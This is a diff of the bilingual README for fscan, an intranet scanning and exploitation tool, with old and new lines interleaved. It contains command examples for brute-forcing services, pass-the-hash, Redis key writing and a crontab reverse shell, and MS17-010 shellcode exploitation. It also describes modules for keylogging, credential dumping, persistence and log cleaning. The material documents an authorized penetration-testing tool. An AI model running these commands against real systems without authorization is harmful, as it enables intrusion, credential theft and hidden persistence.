- **TXT输出URL汇总** - 末尾添加Web服务URL列表便于批量测试
|
||||
- **nmap核心集成** - 三大改进:探测策略/匹配引擎/版本解析
|
||||
- **插件选择性编译** - Build Tags系统,支持服务/本地/Web插件独立编译
|
||||
- **默认端口扩展** - 从62个扩展到133个常用端口
|
||||
- **全端口扫描支持** - 扩大端口范围限制
|
||||
- **HTTP重定向控制** - 可配置的重定向次数限制
|
||||
- **性能分析支持** - 添加pprof性能分析和benchmark测试
|
||||
- **TCP包统计** - 服务插件支持TCP包发送统计
|
||||
- **fscan-lab靶场** - 内网渗透训练平台,覆盖全部漏洞场景(未完成)
|
||||
- **Redis利用增强** - 移植完整Redis利用功能(写公钥/计划任务/WebShell/主从RCE)
|
||||
- **rsync插件重构** - 使用go-rsync库重构认证逻辑
|
||||
|
||||
### Bug修复(120项,列出关键修复)
|
||||
- **RDP空指针panic** - 修复证书解析导致的崩溃(#551)
|
||||
- **批量扫描漏报** - 修复大规模扫描遗漏问题(#304)
|
||||
- **JSON输出格式** - 修复输出格式错误(#446)
|
||||
- **Redis弱密码检测** - 修复检测遗漏问题(#447)
|
||||
- **结果实时保存** - 修复扫描结果未及时保存(#469)
|
||||
- **Nmap解析溢出** - 修复八进制转义解析bug(#478)
|
||||
- **指纹识别竞态** - 修复webtitle/webpoc竞态问题(#474)
|
||||
- **MySQL连接验证** - 改用information_schema库验证
|
||||
- **代理端口误判** - 修复代理模式下端口状态判断错误
|
||||
- **Context超时** - 修复22处插件超时未响应问题
|
||||
- **ICMP竞态条件** - 修复并发扫描竞争问题
|
||||
- **IPv6地址格式** - 修复4处地址格式化问题
|
||||
- **POC高并发卡死** - 修复Context未传播问题
|
||||
- **Ctrl+C结果丢失** - 添加信号处理确保结果写入
|
||||
- **SOCKS5全回显** - 添加代理连接验证
|
||||
- **服务探测泄漏** - 修复连接未正确关闭问题
|
||||
- **webtitle响应丢弃** - 修复部分响应数据被丢弃导致识别失败
|
||||
- **TXT漏洞信息缺失** - 修复输出遗漏漏洞详情
|
||||
- **JSON指纹缺失** - 统一SERVICE结果Target格式
|
||||
- **扫描耗时显示** - 修复完成耗时显示为0的问题
|
||||
- **虚假漏洞记录** - 重构TXT输出系统消除误报
|
||||
- **Redis跨平台路径** - 修复利用功能的路径和超时问题
|
||||
- **Windows编译警告** - 修复fscan-lite平台兼容性
|
||||
- **Go 1.20兼容** - 降级依赖保持兼容性
|
||||
|
||||
### 测试增强(20项)
|
||||
- **单元测试** - 核心模块覆盖率74-100%
|
||||
- **并发安全测试** - State对象、指纹匹配引擎专项测试
|
||||
- **集成测试** - Web扫描/端口扫描/服务探测/SSH认证/ICMP探测
|
||||
- **CLI参数测试** - 命令行参数解析验证
|
||||
- **性能基准测试** - AdaptivePool、服务探测策略benchmark
|
||||
- **ResultBuffer测试** - 去重和完整度评分验证
|
||||
|
||||
### 工程化改进
|
||||
- **CI流程优化** - golangci-lint v2升级,简化构建步骤
|
||||
- **Issue自动化** - GitHub Issue模板优化,Project自动化工作流
|
||||
- **Lint全量修复** - revive/errcheck/shadow/staticcheck/gosimple全部通过
|
||||
- **README重写** - 中英文文档全面更新
|
||||
- **代码格式统一** - gofmt/goimports规范化
|
||||
|
||||
## 快速开始
|
||||
|
||||
# 0x03 使用说明
|
||||
## 基础用法
|
||||
```bash
|
||||
# 默认扫描(使用全部模块)
|
||||
fscan.exe -h 192.168.1.1/24
|
||||
# 扫描C段
|
||||
./fscan -h 192.168.1.1/24
|
||||
|
||||
# B段扫描
|
||||
fscan.exe -h 192.168.1.1/16
|
||||
# 指定端口
|
||||
./fscan -h 192.168.1.1 -p 22,80,443,3389
|
||||
|
||||
# 仅存活探测
|
||||
./fscan -h 192.168.1.1/24 -ao
|
||||
|
||||
# 禁用爆破
|
||||
./fscan -h 192.168.1.1/24 -nobr
|
||||
|
||||
# Web扫描
|
||||
./fscan -u http://192.168.1.1
|
||||
|
||||
# 本地插件
|
||||
./fscan -local systeminfo
|
||||
|
||||
# Hash碰撞
|
||||
./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
|
||||
|
||||
# Redis写公钥
|
||||
./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
|
||||
```
|
||||
|
||||
## 进阶用法
|
||||
## 编译
|
||||
|
||||
### 扫描控制
|
||||
```bash
|
||||
# 跳过存活检测、不保存文件、跳过web poc扫描
|
||||
fscan.exe -h 192.168.1.1/24 -np -no -nopoc
|
||||
# 标准编译
|
||||
go build -ldflags="-s -w" -trimpath -o fscan .
|
||||
|
||||
# 指定扫描结果保存路径
|
||||
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt
|
||||
|
||||
# 从文件导入目标
|
||||
fscan.exe -hf ip.txt
|
||||
# 带Web管理界面
|
||||
go build -tags web -ldflags="-s -w" -trimpath -o fscan-web .
|
||||
```
|
||||
|
||||
### 特定功能
|
||||
## 安装
|
||||
|
||||
```bash
|
||||
# Redis利用
|
||||
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub # 写公钥
|
||||
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 # 计划任务反弹shell
|
||||
|
||||
# SSH操作
|
||||
fscan.exe -h 192.168.1.1/24 -c whoami # SSH爆破成功后执行命令
|
||||
|
||||
# 密码爆破
|
||||
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt # 指定用户名密码文件
|
||||
fscan.exe -h 192.168.1.1/24 -m smb -pwd password # SMB密码碰撞
|
||||
```
|
||||
|
||||
### 代理设置
|
||||
```bash
|
||||
# HTTP代理
|
||||
fscan.exe -u http://baidu.com -proxy 8080
|
||||
|
||||
# SOCKS5代理
|
||||
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080
|
||||
```
|
||||
|
||||
### 特定漏洞检测
|
||||
```bash
|
||||
# MS17-010检测
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010
|
||||
|
||||
# MS17-010利用
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add
|
||||
```
|
||||
|
||||
## 编译说明
|
||||
```bash
|
||||
# 基础编译
|
||||
go build -ldflags="-s -w " -trimpath main.go
|
||||
|
||||
# 使用UPX压缩(可选)
|
||||
upx -9 fscan.exe
|
||||
```
|
||||
|
||||
## Arch Linux安装
|
||||
```bash
|
||||
# 使用yay
|
||||
# Arch Linux
|
||||
yay -S fscan-git
|
||||
|
||||
# 或使用paru
|
||||
paru -S fscan-git
|
||||
```
|
||||
|
||||
# 0x04 参数说明
|
||||
## 运行截图
|
||||
|
||||
## 目标设置
|
||||
- `-h` : 设置目标IP
|
||||
- 支持单个IP:`192.168.11.11`
|
||||
- 支持IP范围:`192.168.11.11-255`
|
||||
- 支持多个IP:`192.168.11.11,192.168.11.12`
|
||||
- `-hf` : 从文件读取目标
|
||||
- `-hn` : 设置要排除的IP范围
|
||||
- `-u` : 指定单个URL扫描
|
||||
- `-uf` : 指定URL文件扫描
|
||||
|
||||
## 扫描控制
|
||||
- `-m` : 指定扫描模式,默认为"all"
|
||||
- `-t` : 设置扫描线程数,默认600
|
||||
- `-time` : 端口扫描超时时间,默认3秒
|
||||
- `-wt` : Web访问超时时间,默认5秒
|
||||
- `-debug` : 设置进度打印间隔,默认60秒
|
||||
- `-silent` : 开启静默模式,适用于CS扫描
|
||||
|
||||
## 端口配置
|
||||
- `-p` : 指定扫描端口
|
||||
- 默认端口:21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017
|
||||
- `-pa` : 在默认端口基础上新增端口
|
||||
- `-pn` : 设置要排除的端口
|
||||
|
||||
## 爆破相关
|
||||
- `-user` : 指定用户名
|
||||
- `-userf` : 指定用户名文件
|
||||
- `-pwd` : 指定密码
|
||||
- `-pwdf` : 指定密码文件
|
||||
- `-usera` : 在默认用户字典基础上新增用户
|
||||
- `-pwda` : 在默认密码字典基础上新增密码
|
||||
|
||||
## Web相关
|
||||
- `-cookie` : 设置Cookie
|
||||
- `-num` : Web POC发包速率,默认20
|
||||
- `-pocname` : 指定Web POC的模糊名称
|
||||
- `-pocpath` : 指定POC路径
|
||||
|
||||
## 代理设置
|
||||
- `-proxy` : 设置HTTP代理
|
||||
- `-socks5` : 设置SOCKS5代理
|
||||
|
||||
## 输出控制
|
||||
- `-o` : 设置结果保存路径,默认"result.txt"
|
||||
- `-no` : 不保存扫描结果
|
||||
- `-nobr` : 跳过密码爆破
|
||||
- `-nopoc` : 跳过Web POC扫描
|
||||
- `-np` : 跳过存活探测
|
||||
|
||||
## 特殊功能
|
||||
- `-c` : SSH命令执行
|
||||
- `-domain` : SMB爆破时设置域名
|
||||
- `-rf` : Redis写公钥模块的文件路径
|
||||
- `-rs` : Redis计划任务反弹shell的IP端口
|
||||
- `-sshkey` : 指定SSH私钥路径
|
||||
- `-sc` : MS17010利用模块shellcode功能
|
||||
|
||||
## 存活探测
|
||||
- `-ping` : 使用ping代替ICMP进行存活探测
|
||||
|
||||
# 0x05 运行截图
|
||||
|
||||
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
|
||||
`fscan.exe -h 192.168.x.x`
|
||||

|
||||
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)`
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis写公钥)
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
|
||||
`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc`
|
||||
`fscan.exe -h 192.168.x.x -m ssh -user root -pwda pass1 pass2 pass3` (追加多个密码)
|
||||
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)`
|
||||
`fscan.exe -h 192.168.x.x -socks5 socks5://user:[email protected]:1080` (SOCKS5认证代理)
|
||||
|
||||
`fscan.exe -h 192.168.x.x -p 139 -m netbios`
|
||||

|
||||
|
||||
`go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)`
|
||||

|
||||
|
||||
`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
|
||||
`fscan.exe -h 192.0.0.0/8 -m icmp`
|
||||

|
||||
|
||||
# 0x06 免责声明
|
||||

|
||||
|
||||
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
|
||||

|
||||
|
||||
为避免被恶意使用,本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。
|
||||
## 路线图
|
||||
|
||||
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描。**
|
||||
### 更新计划
|
||||
- **更新周期** - 每月一次版本发布
|
||||
- **前两周** - 新功能开发与特性更新
|
||||
- **后两周** - Bug修复与代码整合
|
||||
- **欢迎PR** - 期待您的贡献!
|
||||
|
||||
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
|
||||
### SDK & Agent 集成
|
||||
- 扩展SDK能力,完善端侧Agent嵌入支持
|
||||
- 断点续扫、带宽级限速、内存水位控制
|
||||
- 更多Agent场景的集成示例
|
||||
|
||||
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
|
||||
### 插件生态
|
||||
- 持续扩展服务插件覆盖范围
|
||||
- 为每个服务插件开发更多漏洞检测和利用能力
|
||||
- 保持插件API向后兼容,确保旧版本POC持续可用
|
||||
|
||||
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
|
||||
### Fscan-lite
|
||||
- C语言重写的轻量版本
|
||||
- 更小的体积,更少的依赖
|
||||
- 支持更多嵌入式/受限环境
|
||||
- 目录: [fscan-lite](./fscan-lite)
|
||||
|
||||
### Fscan-lab
|
||||
- 内网渗透测试靶场环境
|
||||
- 覆盖所有fscan支持的漏洞场景
|
||||
- 开发测试与功能验证平台
|
||||
- 新手学习与技能练习环境
|
||||
- 目录: [fscan-lab](./fscan-lab)
|
||||
|
||||
## 免责声明
|
||||
|
||||
本工具仅面向**合法授权**的企业安全建设行为。使用前请确保已获得授权,符合当地法律法规,**不对非授权目标扫描**。作者不承担任何非法使用产生的后果。
|
||||
|
||||
## 404StarLink
|
||||
|
||||
# 0x07 404StarLink 2.0 - Galaxy
|
||||

|
||||
|
||||
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
|
||||
fscan 是 [404Team 星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 成员项目。
|
||||
|
||||
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
|
||||
## Star趋势
|
||||
|
||||
演示视频[【安全工具】5大功能,一键化内网扫描神器——404星链计划fscan](https://www.bilibili.com/video/BV1Cv4y1R72M)
|
||||
# 0x08 Star Chart
|
||||
[](https://starchart.cc/shadow1ng/fscan)
|
||||
|
||||
# 0x09 捐赠
|
||||
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png)
|
||||
## 捐赠
|
||||
|
||||
# 0x10 参考链接
|
||||
https://github.com/Adminisme/ServerScan
|
||||
https://github.com/netxfly/x-crack
|
||||
https://github.com/hack2fun/Gscan
|
||||
https://github.com/k8gege/LadonGo
|
||||
https://github.com/jjf012/gopoc
|
||||
[请作者喝饮料](image/sponsor.png)
|
||||
|
||||
## 参考
|
||||
|
||||
# 0x11 最近更新
|
||||
## 2024 更新
|
||||
|
||||
- **2024/12/19**: v2.0.0 重大更新
|
||||
- 完整代码重构,提升性能和可维护性
|
||||
- 重新设计模块化架构,支持插件扩展
|
||||
- 改进并发控制,提升扫描效率
|
||||
|
||||
## 2023 更新
|
||||
|
||||
- **2023/11/13**:
|
||||
- 新增控制台颜色输出(可用 `-nocolor` 关闭)
|
||||
- 支持JSON格式保存结果(`-json`)
|
||||
- 调整TLS最低版本至1.0
|
||||
- 支持端口分组(`-p db,web,service`)
|
||||
|
||||
## 2022 更新
|
||||
- **2022/11/19**: 新增hash碰撞和wmiexec无回显命令执行功能
|
||||
- **2022/7/14**: 改进文件导入支持和搜索匹配功能
|
||||
- **2022/7/6**: 优化内存管理,扩展URL支持
|
||||
- **2022/7/2**:
|
||||
- 增强POC fuzz模块
|
||||
- 新增MS17017利用功能
|
||||
- 加入socks5代理支持
|
||||
- **2022/4/20**: 新增POC路径指定和端口文件导入功能
|
||||
- **2022/2/25**: 新增webonly模式(致谢 @AgeloVito)
|
||||
- **2022/1/11**: 新增Oracle密码爆破
|
||||
- **2022/1/7**: 改进大规模网段扫描,新增LiveTop功能
|
||||
|
||||
## 2021 更新
|
||||
- **2021/12/7**: 新增RDP扫描功能
|
||||
- **2021/12/1**: 全面优化功能模块
|
||||
- **2021/6/18**: 改进POC识别机制
|
||||
- **2021/5/29**: 新增FCGI未授权扫描
|
||||
- **2021/5/15**: 发布Windows 2003版本
|
||||
- **2021/5/6**: 更新核心模块
|
||||
- **2021/4/21**: 加入NetBIOS探测和域控识别
|
||||
- **2021/3/4**: 支持URL批量扫描
|
||||
- **2021/2/25**: 支持密码爆破功能
|
||||
- **2021/2/8**: 新增指纹识别功能
|
||||
- **2021/2/5**: 优化ICMP探测
|
||||
|
||||
## 2020 更新
|
||||
- **2020/12/12**: 集成YAML解析引擎,支持XRay POC
|
||||
- **2020/12/6**: 优化ICMP模块
|
||||
- **2020/12/03**: 改进IP段处理
|
||||
- **2020/11/17**: 新增WebScan模块
|
||||
- **2020/11/16**: 优化ICMP模块
|
||||
- **2020/11/15**: 支持文件导入IP
|
||||
|
||||
_感谢所有为项目做出贡献的开发者_
|
||||
|
||||
[url-docen]: README_EN.md
|
||||
- https://github.com/Adminisme/ServerScan
|
||||
- https://github.com/netxfly/x-crack
|
||||
- https://github.com/hack2fun/Gscan
|
||||
- https://github.com/k8gege/LadonGo
|
||||
- https://github.com/jjf012/gopoc
|
||||
- https://github.com/chainreactors/gogo
|
||||
- https://github.com/0x727/FingerprintHub
|
||||
- https://github.com/killmonday/fscanx
|
||||
|
||||
+240
-214
@@ -1,260 +1,286 @@
|
||||
# fscan
|
||||
[中文][url-doczh]
|
||||
# Fscan
|
||||
|
||||
# 1. Introduction
|
||||
An intranet comprehensive scanning tool, which is convenient for automatic and omnidirectional missed scanning.
|
||||
It supports host survival detection, port scanning, explosion of common services, ms17010, Redis batch public key writing, planned task rebound shell, reading win network card information, web fingerprint identification, web vulnerability scanning, netbios detection, domain control identification and other functions.
|
||||
[中文](README.md)
|
||||
|
||||
# 2. Functions
|
||||
1.Information collection:
|
||||
* Survival detection(icmp)
|
||||
* Port scanning
|
||||
Comprehensive intranet scanning tool for automated vulnerability assessment.
|
||||
|
||||
2.Blasting:
|
||||
* Various service blasting(ssh、smb、rdp, etc.)
|
||||
* Database password blasting(mysql、mssql、redis、psql、oracle, etc.)
|
||||
**Version**: 2.2.0-rc.1.1
|
||||
|
||||
3.System information, vulnerability scanning:
|
||||
* Netbios detection, domain control identification
|
||||
* Collect NIC information
|
||||
* High Risk Vulnerability Scanning(ms17010, etc.)
|
||||
## Features
|
||||
|
||||
4.Web detection:
|
||||
* Webtitle detection
|
||||
* Web fingerprinting (cms, oa framework, etc.)
|
||||
* Web vulnerability scanning (weblogic, st2, etc., also supports xray poc)
|
||||
### Scanning
|
||||
- **Host Discovery** - ICMP/Ping alive detection, B/C segment statistics for large networks
|
||||
- **Port Scanning** - TCP connect scan, 133 built-in ports, port groups (web/db/service/all)
|
||||
- **Service Detection** - Smart protocol identification, 20+ service fingerprint matching
|
||||
- **Web Detection** - Website title, CMS fingerprint, web middleware, WAF/CDN detection (40+ signatures)
|
||||
|
||||
5.Exploit:
|
||||
* Write redis public key and scheduled tasks
|
||||
* Excute ssh command
|
||||
* Use the ms17017 vulnerability (implanted shellcode), such as adding users, etc.
|
||||
### Brute Force
|
||||
- **Password Cracking** - 28 services (SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis, etc.)
|
||||
- **Hash Authentication** - NTLM Hash support (SMB/WMI)
|
||||
- **SSH Key Login** - Private key authentication
|
||||
- **Smart Dictionary** - 100+ common passwords, {user} variable substitution
|
||||
|
||||
6.Others:
|
||||
* Save ouput result
|
||||
### Vulnerability Detection
|
||||
- **Critical Vulns** - MS17-010 (EternalBlue), SMBGhost (CVE-2020-0796)
|
||||
- **Unauthorized Access** - Redis/MongoDB/Memcached/Elasticsearch unauthorized detection
|
||||
- **POC Scanning** - Integrated web POC, Xray POC format support
|
||||
- **DNSLog** - DNSLog out-of-band detection
|
||||
|
||||
# 3. Instructions
|
||||
Getting Started
|
||||
```
|
||||
fscan.exe -h 192.168.1.1/24
|
||||
fscan.exe -h 192.168.1.1/16
|
||||
### Exploitation
|
||||
- **Redis Exploit** - Write pubkey, crontab, webshell, master-slave RCE
|
||||
- **MS17-010 Exploit** - ShellCode injection, add user, execute commands
|
||||
- **SSH Command Exec** - Auto command execution after authentication
|
||||
|
||||
### Local Modules
|
||||
- **Info Gathering** - System info, environment variables, DC info, NIC config
|
||||
- **Credential Access** - Memory dump (MiniDump), keylogger, registry export
|
||||
- **Persistence** - Systemd service, Windows service, scheduled tasks, startup, LD_PRELOAD
|
||||
- **Reverse Shell** - Forward shell, reverse shell, SOCKS5 proxy service
|
||||
- **AV Detection** - Identify installed security software
|
||||
- **Trace Cleanup** - Log cleaning tool
|
||||
|
||||
### Input/Output
|
||||
- **Target Input** - IP/CIDR/domain/URL, batch file import
|
||||
- **Exclusion Rules** - Exclude specific hosts, ports
|
||||
- **Output Formats** - TXT/JSON/CSV multi-format output
|
||||
- **Silent Mode** - No banner, no progress bar, no color output
|
||||
|
||||
### Network Control
|
||||
- **Proxy Support** - HTTP/SOCKS5 proxy, network interface binding
|
||||
- **Rate Control** - Rate limiting, max packet count control
|
||||
- **Timeout Control** - Port/Web/Global timeout independent config
|
||||
- **Concurrency** - Port scan threads, service scan threads independent config
|
||||
|
||||
### Extensions
|
||||
- **Web Management UI** - Visual scan task management (build with -tags web)
|
||||
- **Lab Environment** - Built-in Docker lab for testing and learning
|
||||
- **Plugin Architecture** - Service/Web/Local plugins separated, easy to extend
|
||||
- **Multi-language** - Chinese/English interface (-lang zh/en)
|
||||
- **Performance Stats** - JSON format performance report (-perf)
|
||||
|
||||
## v2.1.0 Changelog
|
||||
|
||||
> This update includes **262 commits**: 30 new features, 120 fixes, 54 refactors, 14 performance optimizations, 20 test enhancements.
|
||||
|
||||
### Architecture Refactoring
|
||||
- **Global Variable Elimination** - Migrated to Config/State objects for better concurrency safety and testability
|
||||
- **SMB Plugin Consolidation** - Merged smb/smb2/smbghost/smbinfo into unified plugin with new smb_protocol.go
|
||||
- **Service Probe Refactoring** - Implemented Nmap-style fallback mechanism, optimized port fingerprint strategy
|
||||
- **Output System Refactoring** - TXT real-time flush + dual-write mechanism, resolved result loss and ordering issues
|
||||
- **i18n Framework Upgrade** - Migrated to go-i18n, full coverage of core/plugins/webscan modules
|
||||
- **HostInfo Refactoring** - Ports field changed from string to int for type safety
|
||||
- **Function Complexity Optimization** - clusterpoc (125→30), EnhancedPortScan (111→20)
|
||||
- **Code Audit** - Fixed P0-P2 level issues, cleaned up deadcode
|
||||
- **Logging System Optimization** - LogDebug call cleanup (71→18), streamlined startup log output
|
||||
|
||||
### Performance Optimization
|
||||
- **Regex Precompilation** - Global regex precompilation to avoid repeated compilation overhead
|
||||
- **Memory Optimization** - Changed map[string]bool to map[string]struct{} for memory savings
|
||||
- **Concurrent Fingerprint Matching** - Multi-goroutine parallel matching for faster identification
|
||||
- **Connection Reuse** - SOCKS5 global dialer reuse to avoid repeated handshakes
|
||||
- **Sliding Window Scheduling** - Adaptive thread pool + streaming iterator for port scan optimization
|
||||
- **CEL Cache Optimization** - POC scan CEL environment caching to reduce repeated initialization
|
||||
- **Package-level Variable Extraction** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes etc.
|
||||
- **Capacity Pre-allocation** - Simplified conversion chains, single-pass string replacement
|
||||
- **Concurrency Safety Optimization** - Optimized lock granularity and memory allocation
|
||||
|
||||
### New Features
|
||||
- **Web Management UI** - Visual scan task management with responsive layout and progress display
|
||||
- **Multi-format POC Adapter** - Support for xray and afrog format POCs
|
||||
- **Smart Scan Mode** - Bloom filter deduplication + proxy optimization
|
||||
- **Enhanced Fingerprint Library** - Integrated FingerprintHub (3139 fingerprints)
|
||||
- **Favicon Fingerprinting** - Support for mmh3 and MD5 dual-format hash matching
|
||||
- **Universal Version Extractor** - Auto-extract service version information
|
||||
- **Fingerprint Priority Sorting** - Smart sorting of match results
|
||||
- **Smart Protocol Detection** - Auto-detect HTTP/HTTPS protocol type
|
||||
- **Network Interface Binding** - Support for VPN scenarios (-iface parameter)
|
||||
- **Exclude Hosts File** - Read excluded hosts from file (-ehf parameter)
|
||||
- **ICMP Token Bucket Rate Limiting** - Prevent router crashes from high-speed scanning
|
||||
- **Port Scan Retry** - Automatic retry mechanism for failed scans
|
||||
- **RDP Real Authentication** - Integrated grdp library for system fingerprinting
|
||||
- **SMB/FTP File Listing** - Auto-list files on anonymous access
|
||||
- **302 Redirect Dual Detection** - Identify fingerprints from both original and redirected responses
|
||||
- **TXT Output URL Summary** - Append web service URL list for batch testing
|
||||
- **gonmap Core Integration** - Three improvements: probe strategy/matching engine/version parsing
|
||||
- **Selective Plugin Compilation** - Build Tags system for independent service/local/web plugin compilation
|
||||
- **Default Port Expansion** - Extended from 62 to 133 common ports
|
||||
- **Full Port Scan Support** - Expanded port range limits
|
||||
- **HTTP Redirect Control** - Configurable redirect count limit
|
||||
- **Performance Profiling Support** - Added pprof profiling and benchmark tests
|
||||
- **TCP Packet Statistics** - Service plugins support TCP packet send statistics
|
||||
- **fscan-lab Environment** - Intranet penetration training platform covering all vulnerability scenarios
|
||||
- **Redis Exploitation Enhancement** - Ported complete Redis exploitation (write pubkey/crontab/webshell/master-slave RCE)
|
||||
- **rsync Plugin Refactoring** - Restructured authentication logic using go-rsync library
|
||||
|
||||
### Bug Fixes (120 items, key fixes listed)
|
||||
- **RDP Null Pointer Panic** - Fixed certificate parsing crash (#551)
|
||||
- **Batch Scan Missing Results** - Fixed large-scale scan omissions (#304)
|
||||
- **JSON Output Format** - Fixed output format errors (#446)
|
||||
- **Redis Weak Password Detection** - Fixed detection omissions (#447)
|
||||
- **Real-time Result Saving** - Fixed scan results not saved timely (#469)
|
||||
- **Nmap Parse Overflow** - Fixed octal escape parsing bug (#478)
|
||||
- **Fingerprint Race Condition** - Fixed webtitle/webpoc race issues (#474)
|
||||
- **MySQL Connection Validation** - Changed to information_schema for validation
|
||||
- **Proxy Port Misjudgment** - Fixed port status judgment in proxy mode
|
||||
- **Context Timeout** - Fixed 22 plugin timeout unresponsive issues
|
||||
- **ICMP Race Condition** - Fixed concurrent scan race issues
|
||||
- **IPv6 Address Format** - Fixed 4 address formatting issues
|
||||
- **POC High Concurrency Hang** - Fixed Context propagation issues
|
||||
- **Ctrl+C Result Loss** - Added signal handling for proper result saving
|
||||
- **SOCKS5 Echo Issue** - Added proxy connection validation
|
||||
- **Service Probe Leak** - Fixed connection not properly closed
|
||||
- **webtitle Response Discard** - Fixed partial response data being discarded causing identification failure
|
||||
- **TXT Vulnerability Info Missing** - Fixed output missing vulnerability details
|
||||
- **JSON Fingerprint Missing** - Unified SERVICE result Target format
|
||||
- **Scan Duration Display** - Fixed completion time showing as 0
|
||||
- **False Vulnerability Records** - Refactored TXT output system to eliminate false positives
|
||||
- **Redis Cross-platform Path** - Fixed exploitation path and timeout issues
|
||||
- **Windows Compilation Warnings** - Fixed fscan-lite platform compatibility
|
||||
- **Go 1.20 Compatibility** - Downgraded dependencies for compatibility
|
||||
|
||||
### Test Enhancements (20 items)
|
||||
- **Unit Tests** - Core module coverage at 74-100%
|
||||
- **Concurrency Safety Tests** - Dedicated tests for State object and fingerprint matching engine
|
||||
- **Integration Tests** - Web scan/port scan/service probe/SSH auth/ICMP probe
|
||||
- **CLI Parameter Tests** - Command-line argument parsing verification
|
||||
- **Performance Benchmarks** - AdaptivePool and service probe strategy benchmarks
|
||||
- **ResultBuffer Tests** - Deduplication and completeness scoring verification
|
||||
|
||||
### Engineering Improvements
|
||||
- **CI Pipeline Optimization** - Upgraded to golangci-lint v2, simplified build steps
|
||||
- **Issue Automation** - GitHub Issue template optimization, Project automation workflow
|
||||
- **Full Lint Fixes** - revive/errcheck/shadow/staticcheck/gosimple all passing
|
||||
- **README Rewrite** - Comprehensive Chinese and English documentation update
|
||||
- **Code Format Unification** - gofmt/goimports standardization
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
# Scan C-class network
|
||||
./fscan -h 192.168.1.1/24
|
||||
|
||||
# Specify ports
|
||||
./fscan -h 192.168.1.1 -p 22,80,443,3389
|
||||
|
||||
# Alive detection only
|
||||
./fscan -h 192.168.1.1/24 -ao
|
||||
|
||||
# Disable brute force
|
||||
./fscan -h 192.168.1.1/24 -nobr
|
||||
|
||||
# Web scanning
|
||||
./fscan -u http://192.168.1.1
|
||||
|
||||
# Local plugin
|
||||
./fscan -local systeminfo
|
||||
|
||||
# Hash authentication
|
||||
./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
|
||||
|
||||
# Redis write pubkey
|
||||
./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
|
||||
```
|
||||
|
||||
Advanced
|
||||
```
|
||||
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(Skip survival detection, do not save output result, skip web poc scanning)
|
||||
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (Redis write public key)
|
||||
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (Redis scheduled task rebound shell)
|
||||
fscan.exe -h 192.168.1.1/24 -c whoami (Execute ssh command)
|
||||
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (Specify ssh module and port)
|
||||
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (Load the specified file and password to blast
|
||||
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (Specify the path to save the scan results, which is saved in the current path by default)
|
||||
fscan.exe -h 192.168.1.1/8 192.x.x.1 and 192.x.x.254 of segment A, convenient for quickly viewing network segment information )
|
||||
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (Smb password crash)
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010 (Specified ms17010 module)
|
||||
fscan.exe -hf ip.txt (Import target from file)
|
||||
fscan.exe -u http://baidu.com -proxy 8080 (Scan a url and set http proxy http://127.0.0.1:8080)
|
||||
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (Do not blast, do not scan Web poc, to reduce traffic)
|
||||
fscan.exe -h 192.168.1.1/24 -pa 3389 (Join 3389->rdp scan)
|
||||
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (Proxy only supports simple tcp functions, and libraries with some functions do not support proxy settings)
|
||||
